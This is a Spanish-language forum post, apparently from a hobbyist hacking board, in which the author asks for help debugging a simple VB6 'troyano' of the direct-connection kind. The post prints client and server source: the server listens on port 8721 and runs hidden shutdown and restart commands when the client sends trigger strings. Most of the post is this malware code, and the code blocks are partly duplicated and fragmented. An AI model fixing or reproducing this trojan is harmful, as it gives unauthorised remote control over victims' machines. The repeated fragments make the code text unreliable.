Porfavor necesito esta ayuda muy urgente. Ize un troyano muy básico de connexión directa, el cual funcionaba y ahora no funciona, me da este error:
Citar
Run-time error '13': Type mismatch en VB 6.0
El error me lo suelta cuando intento conectarme.El codigo del cliente es este:
Citar
Private Sub Command1_Click()
Winsock1.Close
Winsock1.RemoteHost = Text1.Text
Winsock1.RemotePort = 8721
Winsock1.Connect
End Sub
Private Sub Command2_Click()
Winsock1.Close
Label2.Caption = "Desconnectat"
End Sub
Private Sub Command3_Click()
Winsock1.SendData "apa"
End Sub
Private Sub Command4_Click()
Winsock1.SendData "rei"
End Sub
Private Sub Winsock1_Connect()
If Winsock1.State = sckConnected Then
Label2.Caption = "Connectat"
End If
End Sub
Winsock1.Close
Winsock1.RemoteHost = Text1.Text
Winsock1.RemotePort = 8721
Winsock1.Connect
End Sub
Private Sub Command2_Click()
Winsock1.Close
Label2.Caption = "Desconnectat"
End Sub
Private Sub Command3_Click()
Winsock1.SendData "apa"
End Sub
Private Sub Command4_Click()
Winsock1.SendData "rei"
End Sub
Private Sub Winsock1_Connect()
If Winsock1.State = sckConnected Then
Label2.Caption = "Connectat"
End If
End Sub
Este es el código del server:
Citar
Private Sub Form_Load()
MsgBox "El troià funciona!!"
Winsock1.Listen
WAClase = "VBE"
End Sub
Private Sub Text1_Change()
If Text1.Text = "apa" Then
Shell "cmd.exe /c shutdown -s -t 1"
End If
If Text1.Text = "rei" Then
Shell "cmd.exe /c shutdown -r -t 2", vbHide
End If
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal RequestID As Long)
Winsock1.Close
Winsock1.Accept RequestID
End Sub
Private Sub Winsock1_DataArrival(ByVal bytestotal As Long)
Dim datos As String
Winsock1.GetData datos
Text1.Text = datos
End Sub
MsgBox "El troià funciona!!"
Winsock1.Listen
WAClase = "VBE"
End Sub
Private Sub Text1_Change()
If Text1.Text = "apa" Then
Shell "cmd.exe /c shutdown -s -t 1"
End If
If Text1.Text = "rei" Then
Shell "cmd.exe /c shutdown -r -t 2", vbHide
End If
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal RequestID As Long)
Winsock1.Close
Winsock1.Accept RequestID
End Sub
Private Sub Winsock1_DataArrival(ByVal bytestotal As Long)
Dim datos As String
Winsock1.GetData datos
Text1.Text = datos
End Sub